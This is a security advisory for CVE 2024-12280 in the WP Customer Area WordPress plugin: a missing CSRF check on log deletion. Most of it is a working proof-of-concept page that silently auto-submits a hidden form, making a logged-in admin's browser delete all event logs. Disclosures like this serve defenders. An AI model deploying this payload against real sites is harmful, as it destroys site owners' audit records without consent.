WP Customer Area < 8.2.5 – Event Log Deletion via CSRF | CVE 2024-12280

Description

The plugin does not have CSRF check in place when deleting its logs, which could allow attackers to make a logged in to delete them via a CSRF attack

Proof of Concept

Have an admin open an HTML file containing:

```
<html>
  <body>
    <form action="http://example.com/wp-admin/admin.php">
      <input type="hidden" name="cuar&#45;do&#45;logs&#45;action" value="1" />
      <input type="hidden" name="page" value="wpca&#45;logs" />
      <input type="hidden" name="event&#45;type" value="0" />
      <input type="hidden" name="start&#45;date" value="" />
      <input type="hidden" name="end&#45;date" value="" />
      <input type="hidden" name="&#95;wpnonce" value="1" />
      <input type="hidden" name="&#95;wp&#95;http&#95;referer" value="&#47;wp&#45;admin&#47;admin&#46;php&#63;page&#61;wpca&#45;logs" />
      <input type="hidden" name="action" value="&#45;1" />
      <input type="hidden" name="paged" value="1" />
      <input type="hidden" name="action2" value="&#45;1" />
      <input type="hidden" name="delete&#95;all" value="Delete&#32;all&#32;events&#32;permanently" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

Any existing logs will be deleted.